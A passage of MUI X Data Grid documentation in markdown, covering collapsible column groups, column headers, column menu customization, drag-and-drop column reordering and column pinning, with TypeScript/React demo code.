  display: 'flex',
  alignItems: 'center',
});

const ColumnGroupTitle = styled('span')({
  overflow: 'hidden',
  textOverflow: 'ellipsis',
});

function CollapsibleHeaderGroup({
  groupId,
  headerName,
}: GridColumnGroupHeaderParams) {
  const apiRef = useGridApiContext();
  const columnVisibilityModel = gridColumnVisibilityModelSelector(apiRef);

  if (!groupId) {
    return null;
  }

  const isCollapsible = Boolean(COLLAPSIBLE_COLUMN_GROUPS[groupId]);
  const isGroupCollapsed = COLLAPSIBLE_COLUMN_GROUPS[groupId].every(
    (field) => columnVisibilityModel[field] === false,
  );

  return (
    <ColumnGroupRoot>
      <ColumnGroupTitle>{headerName ?? groupId}</ColumnGroupTitle>{' '}
      {isCollapsible && (
        <IconButton
          sx={{ ml: 0.5 }}
          onClick={() => {
            const newModel = { ...columnVisibilityModel };
            COLLAPSIBLE_COLUMN_GROUPS[groupId].forEach((field) => {
              newModel[field] = !!isGroupCollapsed;
            });
            apiRef.current.setColumnVisibilityModel(newModel);
          }}
        >
          {isGroupCollapsed ? (
            <KeyboardArrowRightIcon fontSize="small" />
          ) : (
            <KeyboardArrowDownIcon fontSize="small" />
          )}
        </IconButton>
      )}
    </ColumnGroupRoot>
  );
}

const columnGroupingModel: GridColumnGroupingModel = [
  {
    groupId: 'Internal',
    description: '',
    children: [{ field: 'id' }],
  },
  {
    groupId: 'character',
    description: 'Information about the character',
    headerName: 'Basic info',
    renderHeaderGroup: (params) => {
      return <CollapsibleHeaderGroup {...params} />;
    },
    children: [
      {
        groupId: 'naming',
        headerName: 'Names',
        renderHeaderGroup: (params) => <CollapsibleHeaderGroup {...params} />,
        children: [{ field: 'lastName' }, { field: 'firstName' }],
      },
      { field: 'age' },
    ],
  },
];

const columns: GridColDef[] = [
  { field: 'id', headerName: 'ID', width: 150 },
  { field: 'firstName', headerName: 'First name', width: 150 },
  { field: 'lastName', headerName: 'Last name', width: 150 },
  { field: 'age', headerName: 'Age', type: 'number', width: 110 },
];

const rows = [
  { id: 1, lastName: 'Snow', firstName: 'Jon', age: 35 },
  { id: 2, lastName: 'Lannister', firstName: 'Cersei', age: 42 },
  { id: 3, lastName: 'Lannister', firstName: 'Jaime', age: 45 },
  { id: 4, lastName: 'Stark', firstName: 'Arya', age: 16 },
  { id: 5, lastName: 'Targaryen', firstName: 'Daenerys', age: null },
  { id: 6, lastName: 'Melisandre', firstName: null, age: 150 },
  { id: 7, lastName: 'Clifford', firstName: 'Ferrara', age: 44 },
  { id: 8, lastName: 'Frances', firstName: 'Rossini', age: 36 },
  { id: 9, lastName: 'Roxie', firstName: 'Harvey', age: 65 },
];

export default function CollapsibleColumnGroups() {
  return (
    <Box sx={{ height: 400, width: '100%' }}>
      <DataGrid
        rows={rows}
        columns={columns}
        checkboxSelection
        disableRowSelectionOnClick
        columnGroupingModel={columnGroupingModel}
      />
    </Box>
  );
}

```

## Manage group visibility 🚧

:::warning
This feature isn't available yet, but it is planned—you can 👍 upvote [this GitHub issue](https://github.com/mui/mui-x/issues/6651) to help us prioritize it.
Please don't hesitate to leave a comment there to describe your needs, especially if you have a use case we should address or you're facing specific pain points with your current solution.
:::

With this feature, users would be able to expand and collapse grouped columns to toggle their visibility.

## Column group ordering [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')🚧

:::warning
This feature isn't available yet, but it is planned—you can 👍 upvote [this GitHub issue](https://github.com/mui/mui-x/issues/9448) to help us prioritize it.
Please don't hesitate to leave a comment there to describe your needs, especially if you have a use case we should address or you're facing specific pain points with your current solution.
:::

With this feature, users would be able to drag and drop grouped headers to move all grouped children at once (which is [already possible for normal columns](/x/react-data-grid/column-ordering/)).

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/column-header.md

# Data Grid - Column header

Customize your columns header.

You can configure the headers with:

- `headerName`: The title of the column rendered in the column header cell.
- `description`: The description of the column rendered as tooltip if the column header name is not fully displayed.

```tsx
import { DataGrid } from '@mui/x-data-grid';

const rows = [
  {
    id: 1,
    username: '@MUI',
    age: 20,
  },
];

export default function HeaderColumnsGrid() {
  return (
    <div style={{ height: 250, width: '100%' }}>
      <DataGrid
        columns={[
          {
            field: 'username',
            headerName: 'Username',
            description:
              'The identification used by the person with access to the online service.',
          },
          { field: 'age', headerName: 'Age' },
        ]}
        rows={rows}
      />
    </div>
  );
}

```

## Custom header renderer

You can customize the look of each header with the `renderHeader` method.
It takes precedence over the `headerName` property.

```tsx
const columns: GridColDef[] = [
  {
    field: 'date',
    width: 150,
    type: 'date',
    renderHeader: (params: GridColumnHeaderParams) => (
      <strong>
        {'Birthday '}
        <span role="img" aria-label="enjoy">
          🎂
        </span>
      </strong>
    ),
  },
];
```

```tsx
import { DataGrid, GridColDef } from '@mui/x-data-grid';

const columns: GridColDef[] = [
  {
    field: 'date',
    width: 150,
    type: 'date',
    renderHeader: () => (
      <strong>
        {'Birthday '}
        <span role="img" aria-label="enjoy">
          🎂
        </span>
      </strong>
    ),
  },
];

const rows = [
  {
    id: 1,
    date: new Date(1979, 0, 1),
  },
  {
    id: 2,
    date: new Date(1984, 1, 1),
  },
  {
    id: 3,
    date: new Date(1992, 2, 1),
  },
];

export default function RenderHeaderGrid() {
  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid rows={rows} columns={columns} />
    </div>
  );
}

```

## Header height

By default, column headers have a height of 56 pixels. This matches the height from the [Material Design guidelines](https://m2.material.io/components/data-tables).

The `columnHeaderHeight` prop can be used to override the default value.

```tsx
import { DataGrid, GridColDef } from '@mui/x-data-grid';

const rows = [
  {
    id: 1,
    username: '@MUI',
    age: 20,
  },
];

const columns: GridColDef[] = [
  {
    field: 'username',
    headerName: 'Username',
    description:
      'The identification used by the person with access to the online service.',
  },
  { field: 'age', headerName: 'Age' },
];

export default function HeaderHeight() {
  return (
    <div style={{ height: 250, width: '100%' }}>
      <DataGrid columns={columns} rows={rows} columnHeaderHeight={36} />
    </div>
  );
}

```

## Styling header

You can check the [styling header](/x/react-data-grid/style/#styling-column-headers) section for more information.

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/column-menu.md

# Data Grid - Column menu

Customize your columns menu.

## Column menu

Each column header comes with a column menu with quickly accessible Data Grid features like column visibility, sorting, filtering, and others.

It can be accessed by clicking on the 3-dots icon that appears on hover on a header cell or when focusing on a column header and pressing <kbd><kbd class="key">Ctrl</kbd>+<kbd class="key">Enter</kbd></kbd> (or <kbd><kbd class="key">⌘ Command</kbd>+<kbd class="key">Enter</kbd></kbd> on macOS).

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function ColumnMenuGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 5,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} />
    </div>
  );
}

```

## Customize column menu items

You can customize the column menu items by passing the `slots` and `slotProps` props to the `<GridColumnMenu />` component:

- `slots` - use this prop to override default column menu slots or add new slots.
- `slotProps` - use this prop to override or pass [`displayOrder`](/x/react-data-grid/column-menu/#reordering-menu-items) for column menu items. You can also use this to pass extra props to custom column menu slots.

### Adding a menu item

To add a new menu item, create a new item slot and pass it to the `slots` prop. In the example below, the new slot is called `columnMenuUserItem` but you can choose any name and it'll be added to the menu automatically.
You can also set the `displayOrder` (default `100`) or pass new props to the slots using the `slotProps` prop.

```tsx
function CustomColumnMenu(props: GridColumnMenuProps) {
  return (
    <GridColumnMenu
      {...props}
      slots={{
        // Add new item
        columnMenuUserItem: CustomUserItem,
      }}
      slotProps={{
        columnMenuUserItem: {
          // set `displayOrder` for the new item
          displayOrder: 15,
          // Additional props
          myCustomValue: 'Do custom action',
          myCustomHandler: () => alert('Custom handler fired'),
        },
      }}
    />
  );
}
```

```tsx
import MenuItem from '@mui/material/MenuItem';
import ListItemIcon from '@mui/material/ListItemIcon';
import ListItemText from '@mui/material/ListItemText';
import SettingsApplicationsIcon from '@mui/icons-material/SettingsApplications';
import {
  DataGrid,
  GridColumnMenu,
  GridColumnMenuProps,
  GridColumnMenuItemProps,
} from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

function CustomUserItem(props: GridColumnMenuItemProps) {
  const { myCustomHandler, myCustomValue } = props;
  return (
    <MenuItem onClick={myCustomHandler}>
      <ListItemIcon>
        <SettingsApplicationsIcon fontSize="small" />
      </ListItemIcon>
      <ListItemText>{myCustomValue}</ListItemText>
    </MenuItem>
  );
}

function CustomColumnMenu(props: GridColumnMenuProps) {
  return (
    <GridColumnMenu
      {...props}
      slots={{
        // Add new item
        columnMenuUserItem: CustomUserItem,
      }}
      slotProps={{
        columnMenuUserItem: {
          // set `displayOrder` for new item
          displayOrder: 15,
          // pass additional props
          myCustomValue: 'Do custom action',
          myCustomHandler: () => alert('Custom handler fired'),
        },
      }}
    />
  );
}

export default function AddNewColumnMenuGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 5,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} slots={{ columnMenu: CustomColumnMenu }} />
    </div>
  );
}

```

### Overriding default menu items

Use the `slots` prop to override default menu items.
Check [this table](/x/react-data-grid/column-menu/#default-column-menu-items) to know the overridable slot name for each menu item.

```tsx
function CustomColumnMenu(props: GridColumnMenuProps) {
  return (
    <GridColumnMenu
      {...props}
      slots={{
        // Override `columnMenuFilterItem` component
        columnMenuFilterItem: CustomFilterItem,
      }}
    />
  );
}
```

```tsx
import * as React from 'react';
import MenuItem from '@mui/material/MenuItem';
import ListItemIcon from '@mui/material/ListItemIcon';
import ListItemText from '@mui/material/ListItemText';
import IconFilter from '@mui/icons-material/FilterAlt';
import {
  DataGrid,
  GridColumnMenu,
  GridColumnMenuProps,
  GridColumnMenuItemProps,
  useGridApiContext,
} from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

function CustomFilterItem(props: GridColumnMenuItemProps) {
  const { onClick, colDef } = props;
  const apiRef = useGridApiContext();
  const handleClick = React.useCallback(
    (event: React.MouseEvent<HTMLElement>) => {
      apiRef.current.showFilterPanel(colDef.field);
      onClick(event);
    },
    [apiRef, colDef.field, onClick],
  );
  return (
    <MenuItem onClick={handleClick}>
      <ListItemIcon>
        <IconFilter fontSize="small" />
      </ListItemIcon>
      <ListItemText>Show Filters</ListItemText>
    </MenuItem>
  );
}

function CustomColumnMenu(props: GridColumnMenuProps) {
  return (
    <GridColumnMenu
      {...props}
      slots={{
        // Override slot for `columnMenuFilterItem`
        columnMenuFilterItem: CustomFilterItem,
      }}
    />
  );
}

export default function OverrideColumnMenuGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 5,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} slots={{ columnMenu: CustomColumnMenu }} />
    </div>
  );
}

```

### Hiding a menu item

To hide a menu item, you can set its respective slot in `slots` to `null`.
Check [this table](/x/react-data-grid/column-menu/#default-column-menu-items) to know the slot name for each menu item.

```tsx
function CustomColumnMenu(props: GridColumnMenuProps) {
  return (
    <GridColumnMenu
      {...props}
      slots={{
        // Hide `columnMenuColumnsItem`
        columnMenuColumnsItem: null,
      }}
    />
  );
}
```

```tsx
import { DataGrid, GridColumnMenu, GridColumnMenuProps } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

function CustomColumnMenu(props: GridColumnMenuProps) {
  return (
    <GridColumnMenu
      {...props}
      slots={{
        // Hide `columnMenuColumnsItem`
        columnMenuColumnsItem: null,
      }}
    />
  );
}

export default function HideColumnMenuGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 5,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} slots={{ columnMenu: CustomColumnMenu }} />
    </div>
  );
}

```

### Reordering menu items

Every item is assigned a `displayOrder` based on which it is shown before or after other items. It works in ascending order; the smaller the number is, the earlier it is displayed on the list. For new items default value for `displayOrder` is **100**.

You can override `displayOrder` for the default or new items in `slotProps`.

Check [this table](/x/react-data-grid/column-menu/#default-column-menu-items) to see default `displayOrder` for each menu item.

```tsx
function CustomColumnMenu(props: GridColumnMenuProps) {
  return (
    <GridColumnMenu
      {...props}
      slotProps={{
        // Swap positions of filter and sort items
        columnMenuFilterItem: {
          displayOrder: 0, // Previously `10`
        },
        columnMenuSortItem: {
          displayOrder: 10, // Previously `0`
        },
      }}
    />
  );
}
```

```tsx
import { DataGrid, GridColumnMenu, GridColumnMenuProps } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

function CustomColumnMenu(props: GridColumnMenuProps) {
  return (
    <GridColumnMenu
      {...props}
      slotProps={{
        // Swap positions of filter and sort items
        columnMenuFilterItem: {
          displayOrder: 0, // Previously `10`
        },
        columnMenuSortItem: {
          displayOrder: 10, // Previously `0`
        },
      }}
    />
  );
}

export default function ReorderColumnMenuGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 5,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} slots={{ columnMenu: CustomColumnMenu }} />
    </div>
  );
}

```

### Default column menu items

As a reference, here are the column menu `slots` along with the default item components and `displayOrder`.

```tsx
import {
  DataGridPremium,
  GridRenderCellParams,
  GridColDef,
} from '@mui/x-data-grid-premium';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';

const getPlanProps = (plan: string) => {
  switch (plan.toLowerCase()) {
    case 'premium':
      return {
        href: '/x/introduction/licensing/#premium-plan',
        className: 'plan-premium',
        title: 'Premium plan',
      };
    case 'pro':
      return {
        href: '/x/introduction/licensing/#pro-plan',
        className: 'plan-pro',
        title: 'Pro plan',
      };
    default:
      return null;
  }
};

function PlanIcon(props: { plan?: string }) {
  if (!props.plan) {
    return null;
  }
  const planProps = getPlanProps(props.plan);
  if (!planProps) {
    return null;
  }
  return (
    <a
      href={planProps.href}
      target="_blank"
      rel="noopener"
      aria-label={planProps.title}
      title={planProps.title}
    >
      <span className={planProps.className} />
    </a>
  );
}

function ComponentTag(props: { value?: string; plan?: string }) {
  if (!props.value) {
    return null;
  }
  const components = props.value.split(',');
  return (
    <Stack gap={0.5}>
      {components.map((c, key) => (
        <div>
          <Typography
            key={key}
            sx={{
              borderRadius: '5px',
              background: 'rgba(102, 178, 255, 0.15)',
              fontSize: '0.8rem',
              fontFamily: 'Consolas, "Liberation Mono", Menlo, Courier, monospace',
              padding: '0 5px',
              display: 'inline-block',
            }}
          >
            {c}
          </Typography>
          <PlanIcon plan={props.plan} />
        </div>
      ))}
    </Stack>
  );
}

const columns: GridColDef[] = [
  {
    field: 'slot',
    headerName: 'Slot',
    width: 240,
    renderCell: (params: GridRenderCellParams<any, string>) => (
      <ComponentTag value={params.value} plan={params.row.plan} />
    ),
  },
  {
    field: 'defaultComponent',
    headerName: 'Default Component',
    width: 300,
    renderCell: (params: GridRenderCellParams<any, string>) => (
      <ComponentTag value={params.value} />
    ),
  },
  { field: 'displayOrder', headerName: 'Display Order', width: 140, type: 'number' },
];

const rows = [
  {
    id: 1,
    slot: 'columnMenuSortItem',
    defaultComponent: 'GridColumnMenuSortItem',
    displayOrder: 10,
    plan: 'Community',
  },
  {
    id: 3,
    slot: 'columnMenuFilterItem',
    defaultComponent: 'GridColumnMenuFilterItem',
    displayOrder: 20,
    plan: 'Community',
  },
  {
    id: 7,
    slot: 'columnMenuColumnsItem',
    defaultComponent: 'GridColumnMenuColumnsItem',
    displayOrder: 30,
    plan: 'Community',
  },
  {
    id: 9,
    slot: 'columnMenuPinningItem',
    defaultComponent: 'GridColumnMenuPinningItem',
    displayOrder: 15,
    plan: 'Pro',
  },
  {
    id: 11,
    slot: 'columnMenuAggregationItem',
    defaultComponent: 'GridColumnMenuAggregationItem',
    displayOrder: 23,
    plan: 'Premium',
  },
  {
    id: 13,
    slot: 'columnMenuGroupingItem',
    defaultComponent: 'GridColumnMenuGroupingItem',
    displayOrder: 27,
    plan: 'Premium',
  },
];

export default function ColumnMenuGridReferencesNoSnap() {
  return (
    <div style={{ display: 'flex', flexDirection: 'column', width: '100%' }}>
      <DataGridPremium columns={columns} rows={rows} disableColumnMenu hideFooter />
    </div>
  );
}

```

## Custom menu component

You can also customize and replace the column menu by [passing a fully custom component](/x/react-data-grid/components/#component-slots) to the `columnMenu` slot of the Data Grid. If you want to add some of the default menu items to your custom component, you can import and re-use them.

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridColumnMenuFilterItem,
  GridColumnMenuSortItem,
  GridColumnMenuColumnsItem,
  GridColumnMenuItemProps,
  GridColumnMenuProps,
} from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import Divider from '@mui/material/Divider';

function MenuCloseComponent(props: GridColumnMenuItemProps) {
  return (
    <Button color="primary" onClick={props.onClick}>
      Close Menu
    </Button>
  );
}

function CustomColumnMenu(props: GridColumnMenuProps) {
  const itemProps = {
    colDef: props.colDef,
    onClick: props.hideMenu,
  };
  return (
    <React.Fragment>
      <Stack px={0.5} py={0.5}>
        <GridColumnMenuSortItem {...itemProps} />
        {/* Only provide filtering on desk */}
        {itemProps.colDef.field === 'desk' ? (
          <GridColumnMenuFilterItem {...itemProps} />
        ) : null}
      </Stack>
      <Divider />
      <Stack px={0.5} py={0.5}>
        <GridColumnMenuColumnsItem {...itemProps} />
        <MenuCloseComponent {...itemProps} />
      </Stack>
    </React.Fragment>
  );
}

export default function CustomColumnMenuGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 5,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        slots={{
          columnMenu: CustomColumnMenu,
        }}
      />
    </div>
  );
}

```

:::info
<strong>Tip</strong>: The `columnMenu` component and its components slots receive the `colDef` prop corresponding to the current column; you can use this to conditionally render some items or change some logic.
:::

## Disable column menu

By default, each column header has the column menu enabled. To disable the column menu, set the prop `disableColumnMenu={true}`.

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function DisabledColumnMenuGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 5,
  });

  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid {...data} disableColumnMenu />
    </div>
  );
}

```

## Column menu with Pro/Premium features [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')[<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

In the following demo, in addition to Data Grid MIT features, you can see commercial features like [grouping](/x/react-data-grid/row-grouping/), and [aggregation](/x/react-data-grid/aggregation/) in action. Try tweaking the values from respective column menu items.

```tsx
import {
  DataGridPremium,
  GridGroupingColDefOverride,
  GridValidRowModel,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const groupingColDef: GridGroupingColDefOverride<GridValidRowModel> = {
  leafField: 'title',
};

export default function ColumnMenuGridPremium() {
  const apiRef = useGridApiRef();
  const data = useMovieData();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      aggregation: {
        model: {
          gross: 'avg',
        },
      },
      columns: {
        columnVisibilityModel: {
          cinematicUniverse: false,
          title: false,
        },
      },
      rowGrouping: {
        model: ['company'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        groupingColDef={groupingColDef}
        initialState={initialState}
      />
    </div>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/column-ordering.md

---
title: Data Grid - Drag-and-drop column reordering
---

# Data Grid - Drag-and-drop column reordering [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

The Data Grid Pro lets users drag and drop columns to reorder them.

Columns are organized according to the order in which they're provided in the `columns` array.
By default, the Data Grid Pro lets users reorder columns by dragging and dropping the header cells—give it a try in the demo below:

```tsx
import { DataGridPro } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function ColumnOrderingGrid() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 20,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro {...data} />
    </div>
  );
}

```

## Column reordering events

Column reordering emits the following events:

- `columnHeaderDragStart`: emitted when the user starts dragging the header cell.
- `columnHeaderDragEnter`: emitted when the cursor enters another header cell while dragging.
- `columnHeaderDragOver`: emitted when the user drags a header cell over another header cell.
- `columnHeaderDragEnd`: emitted when the user stops dragging the header cell.

## Disabling column reordering

Drag-and-drop column reordering is enabled by default on the Data Grid Pro, but you can disable it for some or all columns.

### For all columns

To disable reordering for all columns, set the `disableColumnReorder` prop to `true`:

```tsx
<DataGridPro disableColumnReorder />
```

### For specific columns

To disable reordering for a specific column, set the `disableReorder` property to `true` in the column's `GridColDef`, as shown below:

```tsx
import { DataGridPro } from '@mui/x-data-grid-pro';

const rows = [
  {
    id: 1,
    username: '@MUI',
    age: 20,
  },
];

export default function ColumnOrderingDisabledGrid() {
  return (
    <div style={{ height: 250, width: '100%' }}>
      <DataGridPro
        columns={[
          { field: 'id' },
          { field: 'username' },
          { field: 'age', disableReorder: true },
        ]}
        rows={rows}
      />
    </div>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/column-pinning.md

---
title: Data Grid - Column pinning
---

# Data Grid - Column pinning [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Implement pinning to keep columns in the Data Grid visible at all times.

Pinned columns (also known as sticky, frozen, and locked) are visible at all times while scrolling the Data Grid horizontally.
Users can access this feature through the column menu to pin and unpin columns to either the left or right side.
Pinned columns cannot be [reordered](/x/react-data-grid/column-ordering/), except by unpinning and repinning.

## Implementing column pinning

The Data Grid Pro provides column pinning to end users by default, and there are several different tools you can use to modify the experience to meet your needs:

- The `initialState` prop – for pinning during initialization
- The `pinnedColumns` and `onPinnedColumnsChange` props – for more control over pinning
- The imperative `apiRef` API – for fully custom solutions

### Column pinning on initialization

To set pinned columns when the Data Grid is initialized, pass a value to the `pinnedColumns` property of the `initialState` prop with the following shape:

```ts
interface GridPinnedColumnFields {
  left?: string[]; // Optional field names to pin to the left
  right?: string[]; // Optional field names to pin to the right
}
```

The demo below illustrates how this works:

```tsx
import DeleteIcon from '@mui/icons-material/Delete';
import EditIcon from '@mui/icons-material/Edit';
import {
  DataGridPro,
  GridColDef,
  GridRowsProp,
  GridActionsCellItem,
  GridActionsCell,
} from '@mui/x-data-grid-pro';
import {
  randomCreatedDate,
  randomTraderName,
  randomEmail,
  randomUpdatedDate,
} from '@mui/x-data-grid-generator';

export default function BasicColumnPinning() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        rows={rows}
        columns={columns}
        initialState={{ pinnedColumns: { left: ['name'], right: ['actions'] } }}
      />
    </div>
  );
}

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 160, editable: true },
  { field: 'email', headerName: 'Email', width: 200, editable: true },
  { field: 'age', headerName: 'Age', type: 'number', editable: true },
  {
    field: 'dateCreated',
    headerName: 'Date Created',
    type: 'date',
    width: 180,
    editable: true,
  },
  {
    field: 'lastLogin',
    headerName: 'Last Login',
    type: 'dateTime',
    width: 220,
    editable: true,
  },
  {
    field: 'actions',
    type: 'actions',
    width: 100,
    renderCell: (params) => (
      <GridActionsCell {...params}>
        <GridActionsCellItem icon={<EditIcon />} label="Edit" />
        <GridActionsCellItem icon={<DeleteIcon />} label="Delete" />
      </GridActionsCell>
    ),
  },
];

const rows: GridRowsProp = [
  {
    id: 1,
    name: randomTraderName(),
    email: randomEmail(),
    age: 25,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 2,
    name: randomTraderName(),
    email: randomEmail(),
    age: 36,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 3,
    name: randomTraderName(),
    email: randomEmail(),
    age: 19,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 4,
    name: randomTraderName(),
    email: randomEmail(),
    age: 28,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 5,
    name: randomTraderName(),
    email: randomEmail(),
    age: 23,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 6,
    name: randomTraderName(),
    email: randomEmail(),
    age: 27,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 7,
    name: randomTraderName(),
    email: randomEmail(),
    age: 18,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 8,
    name: randomTraderName(),
    email: randomEmail(),
    age: 31,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 9,
    name: randomTraderName(),
    email: randomEmail(),
    age: 24,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 10,
    name: randomTraderName(),
    email: randomEmail(),
    age: 35,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
];

```

:::warning
You may encounter issues if the sum of the widths of the pinned columns is larger than the width of the Grid.
Make sure that the Data Grid can properly accommodate these columns at a minimum.
:::

### Controlled column pinning

The `pinnedColumns` prop gives you more granular control over how the user can interact with the pinning feature.
To implement this prop, pass an object to it with the same shape as that outlined in [the `initialState` section above](#column-pinning-on-initialization).
Use it together with `onPinnedColumnsChange` to track when columns are pinned and unpinned, as shown in the demo below:

```tsx
import * as React from 'react';
import {
  DataGridPro,
  GridColDef,
  GridPinnedColumnFields,
  GridRowsProp,
} from '@mui/x-data-grid-pro';
import {
  randomCreatedDate,
  randomTraderName,
  randomEmail,
  randomUpdatedDate,
} from '@mui/x-data-grid-generator';
import Alert from '@mui/material/Alert';
import Box from '@mui/material/Box';

export default function ControlPinnedColumns() {
  const [pinnedColumns, setPinnedColumns] = React.useState<GridPinnedColumnFields>({
    left: ['name'],
  });

  const handlePinnedColumnsChange = React.useCallback(
    (updatedPinnedColumns: GridPinnedColumnFields) => {
      setPinnedColumns(updatedPinnedColumns);
    },
    [],
  );

  return (
    <Box sx={{ width: '100%' }}>
      <Alert severity="info">
        <code>pinnedColumns: {JSON.stringify(pinnedColumns)}</code>
      </Alert>
      <Box sx={{ height: 400, mt: 1 }}>
        <DataGridPro
          rows={rows}
          columns={columns}
          pinnedColumns={pinnedColumns}
          onPinnedColumnsChange={handlePinnedColumnsChange}
        />
      </Box>
    </Box>
  );
}

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 180, editable: true },
  { field: 'email', headerName: 'Email', width: 200, editable: true },
  { field: 'age', headerName: 'Age', type: 'number', editable: true },
  {
    field: 'dateCreated',
    headerName: 'Date Created',
    type: 'date',
    width: 180,
    editable: true,
  },
  {
    field: 'lastLogin',
    headerName: 'Last Login',
    type: 'dateTime',
    width: 220,
    editable: true,
  },
];

const rows: GridRowsProp = [
  {
    id: 1,
    name: randomTraderName(),
    email: randomEmail(),
    age: 25,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 2,
    name: randomTraderName(),
    email: randomEmail(),
    age: 36,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 3,
    name: randomTraderName(),
    email: randomEmail(),
    age: 19,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 4,
    name: randomTraderName(),
    email: randomEmail(),
    age: 28,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 5,
    name: randomTraderName(),
    email: randomEmail(),
    age: 23,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
];

```

## Pinned columns appearance

By default, the pinned columns sections are separated from non-pinned columns with a border and a shadow that appears when there is scroll.

You can change the appearance by setting the [`pinnedColumnsSectionSeparator`](/x/api/data-grid/data-grid-pro/#data-grid-pro-prop-pinnedColumnsSectionSeparator) prop to `'border'`, `'shadow'`, or `'border-and-shadow'`.

```tsx
import * as React from 'react';
import DeleteIcon from '@mui/icons-material/Delete';
import EditIcon from '@mui/icons-material/Edit';
import FormControl from '@mui/material/FormControl';
import RadioGroup from '@mui/material/RadioGroup';
import FormControlLabel from '@mui/material/FormControlLabel';
import Radio from '@mui/material/Radio';
import {
  DataGridPro,
  GridActionsCellItem,
  type GridColDef,
  type GridRowsProp,
  type DataGridProProps,
  GridActionsCell,
} from '@mui/x-data-grid-pro';
import {
  randomCreatedDate,
  randomTraderName,
  randomEmail,
  randomUpdatedDate,
} from '@mui/x-data-grid-generator';

type SectionSeparator = NonNullable<
